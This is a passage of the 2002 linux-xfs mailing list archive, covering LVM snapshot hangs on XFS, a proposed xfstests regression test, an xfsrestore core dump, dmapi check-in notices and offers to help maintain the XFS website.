get into debugging the Linux kernel. OTOH, I have developed a lot of load test applications for testing high transaction count systems. Are your regression tests in CVS, and if so how hard is to write an additional one. The test I have been using is simple pair of shell scripts, so it does not seem that it would take much to tie it into your framework. I have been monitoring it for failures manually, but it should not be too hard to put some kind of timeout around the lvcreate --snapshot test and report an error if it exceeds x minutes. Obviously, I would rather give you guys a way to duplicate the problem that can be incorporated into your regular regression testing than simply working with you to debug this one instance, and then not feel confident that future releases have not reintroduced the problem. Greg ======== Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com >> On Thu, 2002-08-22 at 16:43, Greg Freemyer wrote: >> > All, >> > >> > I have not been successful at getting reliable Read-Only snapshots of >> XFS via LVM. Since XFS is being used in Enterprise quality applications, >> I suggest this is a major shortcoming that should be prioritized. >> > >> > BTW: Are there any snapshot related tests in the XFS regression tests? >> No, there aren't. Frankly, snapshot has not gotten a lot of attention >> lately. >> > When a failure occurs the lvcreate --snapshot command will freeze up. >> >> If that's the failure, looking at a kdb backtrace of the "stuck" process >> would be helpful, and might give us an idea of where to look. >> Testing a CVS kernel for the same behavior would also be a good >> datapoint. >> >> > A manually entered xfs_freeze -u will release the lvcreate. (The >> VFS-lock patch effectively is calling xfs_freeze -f internally prior to >> starting the snapshot process.) >> > FYI: Adrian Head believes that the VFS-lock patch is more reliable than >> not having it and wrapping the lvcreate --snapshot call with explicit >> xfs_freeze calls. I have not tried that. >> If things are working as intended, that should not be the case - the end >> result should be that xfs runs the same code, whether you did it via a >> manual userspace command, or the automatic vfs-lock patch. >> Sending some debug output from kdb would help - but also, take a look at >> that list of work Steve posted today, and realize that there are lots of >> things going on at the moment. :) >> Thanks, >> -Eric >> -- >> Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs >> sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 23 09:01:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NG1kBM026670 for ; Fri, 23 Aug 2002 09:01:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NG1klh026669 for linux-xfs-outgoing; Fri, 23 Aug 2002 09:01:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from webcube2.volstate.net (webcube2.volstate.net [66.129.16.201]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NG1bBM026610 for ; Fri, 23 Aug 2002 09:01:37 -0700 Received: from there (host170-33-153-216.cispinc.com [216.153.33.170] (may be forged)) by webcube2.volstate.net (8.9.3/8.9.3) with SMTP id MAA27246 for ; Fri, 23 Aug 2002 12:04:46 -0400 Message-Id: <200208231604.MAA27246@webcube2.volstate.net> Content-Type: text/plain; charset="iso-8859-15" From: Joe Bacom Reply-To: joebacom@volstate.net To: linux-xfs@oss.sgi.com Subject: xfsrestore problem Date: Fri, 23 Aug 2002 11:01:25 -0500 X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Folks; I am getting a core dump from xfsrestore when restoring from a dump file. Here is the command used to create the dump file: xfsdump -J -f ./datastore/site.dump -s datastore/site /dev/hda7 and to restore the file on a different machine (I use extended attributes with this filesystem) xfsrestore -f site.dump -J /opt/datastore The log from xfsrestore is: xfsrestore: using file dump (drive_simple) strategy xfsrestore: version 3.0 - Running single-threaded xfsrestore: searching media for dump xfsrestore: examining media file 0 xfsrestore: dump description: xfsrestore: hostname: pluto.solar.com xfsrestore: mount point: /opt xfsrestore: volume: /dev/hda7 xfsrestore: session time: Fri Aug 23 10:27:41 2002 xfsrestore: level: 0 xfsrestore: session label: "SiteDump" xfsrestore: media label: "Site Dump" xfsrestore: file system id: 00000000-0000-0000-0000-000000000000 xfsrestore: session id: e03654da-1bac-4436-b6a5-3acd1d473932 xfsrestore: media id: 85f58232-ca3a-4ca6-bedf-c4d690752764 xfsrestore: searching media for directory dump xfsrestore: reading directories xfsrestore: 134 directories and 59798 entries processed xfsrestore: directory post-processing xfsrestore: restoring non-directory files xfsrestore: content.c:8532: restore_extattr: Assertion `recsz >= 16' failed. Abort (core dumped) I have the following versions of xfsdump and xfsprogs xfsdump-2.0.0-0 xfsprogs-2.0.1-0 xfsprogs-devel-2.0.1-0 The core file is 47M so I did not attach it. Any Ideas? Thanks; Joe From owner-linux-xfs@oss.sgi.com Fri Aug 23 09:01:49 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NG1nBM026679 for ; Fri, 23 Aug 2002 09:01:49 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NG1ikm026667 for linux-xfs-outgoing; Fri, 23 Aug 2002 09:01:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NG1ZBM026604 for ; Fri, 23 Aug 2002 09:01:36 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA00103; Fri, 23 Aug 2002 11:04:41 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA61430; Fri, 23 Aug 2002 11:04:41 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7NG4YB10645; Fri, 23 Aug 2002 11:04:34 -0500 Subject: Re: re[2]: Summary - Snapshot Effort From: Steve Lord To: Greg Freemyer Cc: Eric Sandeen , xfs mailing list In-Reply-To: <20020823155958.ZROQ1228.imf06bis.bellsouth.net@TAZ2> References: <20020823155958.ZROQ1228.imf06bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 23 Aug 2002 11:04:33 -0500 Message-Id: <1030118673.6679.35.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.0 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-23 at 10:57, Greg Freemyer wrote: > Eric, > > I am not anxious to get into debugging the Linux kernel. > > OTOH, I have developed a lot of load test applications for testing high transaction count systems. > > Are your regression tests in CVS, and if so how hard is to write an additional one. > > The test I have been using is simple pair of shell scripts, so it does not seem that it would take much to tie it into your framework. > > I have been monitoring it for failures manually, but it should not be too hard to put some kind of timeout around the lvcreate --snapshot test and report an error if it exceeds x minutes. > > Obviously, I would rather give you guys a way to duplicate the problem that can be incorporated into your regular regression testing than simply working with you to debug this one instance, and then not feel confident that future releases have not reintroduced the problem. > Answering for Eric since he is out for a few days. Greg, take a look in cmd/xfstests there is a set of 50 or 60 tests in there. Hopefully is is not too contorted to create a new test case. How much of the volume setup can be done automatically by the test, I presume all it needs is some partitions to play with. Good idea by the way, adding test cases like this would be great. Thanks Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 23 09:26:32 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NGQWBM027260 for ; Fri, 23 Aug 2002 09:26:32 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NGQW2C027259 for linux-xfs-outgoing; Fri, 23 Aug 2002 09:26:32 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf17bis.bellsouth.net (mail317.mail.bellsouth.net [205.152.58.177]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NGQOBM027231 for ; Fri, 23 Aug 2002 09:26:24 -0700 Received: from TAZ2 ([66.156.4.66]) by imf17bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020823163106.YRXD23893.imf17bis.bellsouth.net@TAZ2>; Fri, 23 Aug 2002 12:31:06 -0400 Date: Fri, 23 Aug 2002 12:28:18 -0400 From: Greg Freemyer Subject: re[4]: Summary - Snapshot Effort To: Steve Lord cc: Eric Sandeen , xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020823163106.YRXD23893.imf17bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7NGQOBM027232 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> Answering for Eric since he is out for a few days. >> Greg, take a look in cmd/xfstests there is a set of 50 or 60 tests in >> there. Hopefully is is not too contorted to create a new test case. >> How much of the volume setup can be done automatically by the test, >> I presume all it needs is some partitions to play with. >> Good idea by the way, adding test cases like this would be great. >> Thanks >> Steve Steve, I just took a look at the cmd/xfstests/README and it looks like the process is well documented. I will download the whole set and first verify the test system runs on my system, then try to put together a new test for snapshots. The readme talks about the user providing 2 partitions, one with xfs on it, and one scratch. I assume I should use the scratch partition to build a lvm structure on, then format it with xfs. One high level question, at the start of the test I assume I should check for the correct installation of LVM and error out if it is not available. Is that a reasonable behavior? Even higher level, as I have questions, should I ask them on the list, or is there a QA person there I should e-mail directly. Greg ========= Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 23 09:54:10 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NGsABM027678 for ; Fri, 23 Aug 2002 09:54:10 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NGsA4g027677 for linux-xfs-outgoing; Fri, 23 Aug 2002 09:54:10 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NGs1BM027648 for ; Fri, 23 Aug 2002 09:54:01 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA00159; Fri, 23 Aug 2002 11:57:07 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA09550; Fri, 23 Aug 2002 11:57:07 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7NGuxp11459; Fri, 23 Aug 2002 11:56:59 -0500 Subject: Re: re[4]: Summary - Snapshot Effort From: Steve Lord To: Greg Freemyer Cc: Eric Sandeen , xfs mailing list In-Reply-To: <20020823163106.YRXD23893.imf17bis.bellsouth.net@TAZ2> References: <20020823163106.YRXD23893.imf17bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 23 Aug 2002 11:56:59 -0500 Message-Id: <1030121819.6630.66.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-23 at 11:28, Greg Freemyer wrote: > >> Answering for Eric since he is out for a few days. > > >> Greg, take a look in cmd/xfstests there is a set of 50 or 60 tests in > >> there. Hopefully is is not too contorted to create a new test case. > >> How much of the volume setup can be done automatically by the test, > >> I presume all it needs is some partitions to play with. > > >> Good idea by the way, adding test cases like this would be great. > > >> Thanks > > >> Steve > Steve, > > I just took a look at the cmd/xfstests/README and it looks like the process is well documented. > > I will download the whole set and first verify the test system runs on my system, then try to put together a new test for snapshots. > > The readme talks about the user providing 2 partitions, one with xfs on it, and one scratch. > > I assume I should use the scratch partition to build a lvm structure on, then format it with xfs. > > One high level question, at the start of the test I assume I should check for the correct installation of LVM and error out if it is not available. > > Is that a reasonable behavior? Yep, as you can see there are several tests which will skip execution if certain features are not available. Probably testing the kernel for lvm support (after attempting to load the module) would be a good thing. > > Even higher level, as I have questions, should I ask them on the list, or is there a QA person there I should e-mail directly. > Well, you can ask on the list, or ask Nathan Scott (nathans@sgi.com), he is the one most familiar with the tests. He is in Australia, so do not expect instant responses. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 23 13:00:35 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NK0ZBM006793 for ; Fri, 23 Aug 2002 13:00:35 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NK0ZIv006792 for linux-xfs-outgoing; Fri, 23 Aug 2002 13:00:35 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NK0SBM006756 for ; Fri, 23 Aug 2002 13:00:28 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7NK3Xj18992; Fri, 23 Aug 2002 14:03:33 -0600 Date: Fri, 23 Aug 2002 14:03:33 -0600 (MDT) From: James Rich To: Steve Lord cc: linux-xfs@oss.sgi.com Subject: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <1030115461.6679.30.camel@jen.americas.sgi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 23 Aug 2002, Steve Lord wrote: > I know 99.9% of the folks out there are not developers, but > some are, and some are capable of doing this. Folks here at > SGI have put a lot of time into this project, including a lot > of their own time. > > So think about it sometime. Well I'm one of the 99.9%. But I do rely heavily on XFS. And boy do I appreciate everyone's work on XFS and SGI's willingness to GPL it and pay good people to work on it. So what can a guy like me do to help? I already mirror the CVS tree and host install disks for Slackware (not really needed now that Slackware 8.1 ships with XFS). I don't have a lot of time or bandwidth, but I do have a lot of disk space and a keen interest in XFS and its success (and in SGI's success since I'm a stock holder). Most questions asked on this list are beyond my ability to help. But I can write TeX and HTML, host pretty much anything, and whatever else doesn't require deep knowlege of kernel internals or all the different ways to recover a file system. So how about it? Perhaps I can keep track of the TODO list? People seem to ask often "How soon is XFS going into the kernel?" and then wonder what is keeping it out. Would some kind of on going status report help folks? James Rich From owner-linux-xfs@oss.sgi.com Fri Aug 23 12:57:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NJvgBM006674 for ; Fri, 23 Aug 2002 12:57:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NJvggN006673 for linux-xfs-outgoing; Fri, 23 Aug 2002 12:57:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from rope.americas (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NJvbBM006645 for ; Fri, 23 Aug 2002 12:57:37 -0700 Received: (from roehrich@localhost) by rope.americas (8.11.2/8.11.2) id g7NK0XC00877 for linux-xfs@oss.sgi.com; Fri, 23 Aug 2002 15:00:33 -0500 Date: Fri, 23 Aug 2002 15:00:33 -0500 From: Dean Roehrich Message-Id: <200208232000.g7NK0XC00877@rope.americas> Subject: TAKE - dmapi warning fix X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Fix some dmapi warnings. From Christoph. Date: Fri Aug 23 12:59:48 PDT 2002 Workarea: rope.americas.sgi.com:/ptmp/roehrich/2.4.x-xfs-c The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125845a linux/fs/xfs/dmapi/dmapi_right.c - 1.13 - fix warnings From owner-linux-xfs@oss.sgi.com Fri Aug 23 13:03:09 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NK39BM007033 for ; Fri, 23 Aug 2002 13:03:09 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NK39IA007032 for linux-xfs-outgoing; Fri, 23 Aug 2002 13:03:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from rope.americas (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NK32BM007003 for ; Fri, 23 Aug 2002 13:03:03 -0700 Received: (from roehrich@localhost) by rope.americas (8.11.2/8.11.2) id g7NK5xC01303 for linux-xfs@oss.sgi.com; Fri, 23 Aug 2002 15:05:59 -0500 Date: Fri, 23 Aug 2002 15:05:59 -0500 From: Dean Roehrich Message-Id: <200208232005.g7NK5xC01303@rope.americas> Subject: TAKE - dmapi cleanups X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >From Christoph: - initialize dmapi spinlocks at compile-time - remove pointless checks on module removal Date: Fri Aug 23 13:05:27 PDT 2002 Workarea: rope.americas.sgi.com:/ptmp/roehrich/2.4.x-xfs-c The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125847a linux/fs/xfs/dmapi/dmapi_register.c - 1.18 - initialize dm_reg_lock at compile-time linux/fs/xfs/dmapi/dmapi_session.c - 1.12 - Initialize dm_session_lock and dm_token_lock at compile-time. Remove dm_init/dm_uninit. linux/fs/xfs/dmapi/dmapi_sysent.c - 1.15 - Remove calls to dm_init/dm_uninit. From owner-linux-xfs@oss.sgi.com Fri Aug 23 13:07:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NK7oBM007237 for ; Fri, 23 Aug 2002 13:07:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NK7ooC007236 for linux-xfs-outgoing; Fri, 23 Aug 2002 13:07:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NK7hBM007208 for ; Fri, 23 Aug 2002 13:07:43 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17iKle-0007D6-00; Fri, 23 Aug 2002 21:10:50 +0100 Date: Fri, 23 Aug 2002 21:10:50 +0100 From: Christoph Hellwig To: James Rich Cc: Steve Lord , linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-ID: <20020823211050.A27629@infradead.org> References: <1030115461.6679.30.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from james@stumpy.chowhouse.com on Fri, Aug 23, 2002 at 02:03:33PM -0600 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 23, 2002 at 02:03:33PM -0600, James Rich wrote: > Well I'm one of the 99.9%. But I do rely heavily on XFS. And boy do I > appreciate everyone's work on XFS and SGI's willingness to GPL it and pay > good people to work on it. > > So what can a guy like me do to help? I already mirror the CVS tree and > host install disks for Slackware (not really needed now that Slackware 8.1 > ships with XFS). I don't have a lot of time or bandwidth, but I do have a > lot of disk space and a keen interest in XFS and its success (and in SGI's > success since I'm a stock holder). Most questions asked on this list are > beyond my ability to help. But I can write TeX and HTML, host pretty much > anything, and whatever else doesn't require deep knowlege of kernel > internals or all the different ways to recover a file system. So how > about it? > > Perhaps I can keep track of the TODO list? People seem to ask often "How > soon is XFS going into the kernel?" and then wonder what is keeping it > out. Would some kind of on going status report help folks? I think XFS would really need someone to maintain the website. It's horribly out of date, and misses some important links. For example it would be nice to have a link to my XFS merge status or even a htmlized version. I don't know whether externals are allowed to work on oss.sgi.com, though.. From owner-linux-xfs@oss.sgi.com Fri Aug 23 15:14:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NMEFBM010737 for ; Fri, 23 Aug 2002 15:14:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NMEEj3010736 for linux-xfs-outgoing; Fri, 23 Aug 2002 15:14:14 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NME8BM010707 for ; Fri, 23 Aug 2002 15:14:09 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7NMHG621074; Fri, 23 Aug 2002 16:17:16 -0600 Date: Fri, 23 Aug 2002 16:17:16 -0600 (MDT) From: James Rich To: Christoph Hellwig cc: Steve Lord , Subject: Re: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <20020823211050.A27629@infradead.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO version=2.31 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 23 Aug 2002, Christoph Hellwig wrote: > I think XFS would really need someone to maintain the website. It's > horribly out of date, and misses some important links. For example > it would be nice to have a link to my XFS merge status or even a htmlized > version. I don't know whether externals are allowed to work on oss.sgi.com, > though.. Okay, that's something I can do. If external access is not allowed, maybe I could send updates to someone who does have access? Or I could put things together on my site and then they could pulled over to SGI by someone there? James Rich From owner-linux-xfs@oss.sgi.com Fri Aug 23 15:23:21 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7NMNKBM011052 for ; Fri, 23 Aug 2002 15:23:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7NMNKA0011051 for linux-xfs-outgoing; Fri, 23 Aug 2002 15:23:20 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NMNDBM011021 for ; Fri, 23 Aug 2002 15:23:13 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA02769; Fri, 23 Aug 2002 17:26:20 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id RAA58376; Fri, 23 Aug 2002 17:26:19 -0500 (CDT) Date: Fri, 23 Aug 2002 17:25:04 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: James Rich cc: Christoph Hellwig , Steve Lord , Subject: Re: Hacking XFS (was Re: reserve space for root?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-3.4 required=5.0 tests=IN_REP_TO version=2.31 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 23 Aug 2002, James Rich wrote: > On Fri, 23 Aug 2002, Christoph Hellwig wrote: > > > I think XFS would really need someone to maintain the website. It's > > horribly out of date, and misses some important links. For example > > it would be nice to have a link to my XFS merge status or even a htmlized > > version. I don't know whether externals are allowed to work on oss.sgi.com, > > though.. > > Okay, that's something I can do. If external access is not allowed, maybe > I could send updates to someone who does have access? Or I could put > things together on my site and then they could pulled over to SGI by > someone there? The faq is currently maintained by someone outside of SGI (thanks Seth!) so other parts probably could be as well. We have an SGI tech pubs guy who does the pages for each release (featuers, testing, instructions etc) but if there are other parts that are getting stale, we could probably work out access for you if you'd like to keep them up to date. Oh, and FWIW, the XFS merge status -is- linked from the faq now. :) -Eric From ralf@oss.sgi.com Fri Aug 23 16:41:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 23 Aug 2002 16:41:56 -0700 (PDT) Received: from shaft19-f87.dialo.tiscali.de (shaft19-f87.dialo.tiscali.de [62.246.19.87]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7NNf19D002570; Fri, 23 Aug 2002 16:41:02 -0700 Received: (ralf@lappi.linux-mips.net) by ralf.linux-mips.org id ; Sat, 24 Aug 2002 01:44:11 +0200 Date: Sat, 24 Aug 2002 01:44:11 +0200 From: Ralf Baechle To: undisclosed-recipients:; Subject: ADMIN: New mailing list software on oss Message-ID: <20020824014411.A10670@bacchus.dhis.org> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Accept-Language: de,en,fr Content-Transfer-Encoding: 8bit X-archive-position: 1 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ralf@oss.sgi.com Precedence: bulk X-list: linux-xfs After a long time we're finally retiring Majordomo as mailing list manager for oss.sgi.com and have replaced it with Ecartis. From a user perspective Ecartis is similar to Majordomo, that is subscribing and unsubscribing do work the same way. In addition we now offer new features such as a digest mode. For more information send an email containing the word "help" to Ecartis@oss.sgi.com. For a while we'll still have it available under the old majordomo@oss.sgi.com address as well. Ralf From lord@sgi.com Sat Aug 24 05:36:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 05:36:50 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7OCak9D010408 for ; Sat, 24 Aug 2002 05:36:46 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id HAA05562 for ; Sat, 24 Aug 2002 07:39:56 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id HAA36026 for ; Sat, 24 Aug 2002 07:39:55 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7OCdeU14251; Sat, 24 Aug 2002 07:39:40 -0500 Message-Id: <200208241239.g7OCdeU14251@jen.americas.sgi.com> Date: Sat, 24 Aug 2002 07:39:40 -0500 Subject: TAKE - more cleanup from Christoph To: linux-xfs@oss.sgi.com X-archive-position: 2 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Date: Sat Aug 24 05:39:22 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125883a linux/fs/xfs/xfs_vnodeops.c - 1.553 - remove redundant checks for working in an unlinked directory. linux/fs/xfs/linux/xfs_super.h - 1.28 linux/fs/xfs/xfs_fs.h - 1.2 - remove duplicate definition From bum18@mail.ru Sat Aug 24 05:50:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 24 Aug 2002 05:50:25 -0700 (PDT) Received: from mx9.mail.ru (mx9.mail.ru [194.67.57.19]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7OCoK9D010471 for ; Sat, 24 Aug 2002 05:50:20 -0700 Received: from [80.129.119.77] (helo=Atmnhvumr) by mx9.mail.ru with smtp (Exim SMTP.9) id 17iaPr-000BfE-00 for linux-xfs@oss.sgi.com; Sat, 24 Aug 2002 16:53:23 +0400 From: jack To: linux-xfs@oss.sgi.com Subject: Na na na na ..... MIME-Version: 1.0 Content-type: text/plain Message-Id: Date: Sat, 24 Aug 2002 16:53:23 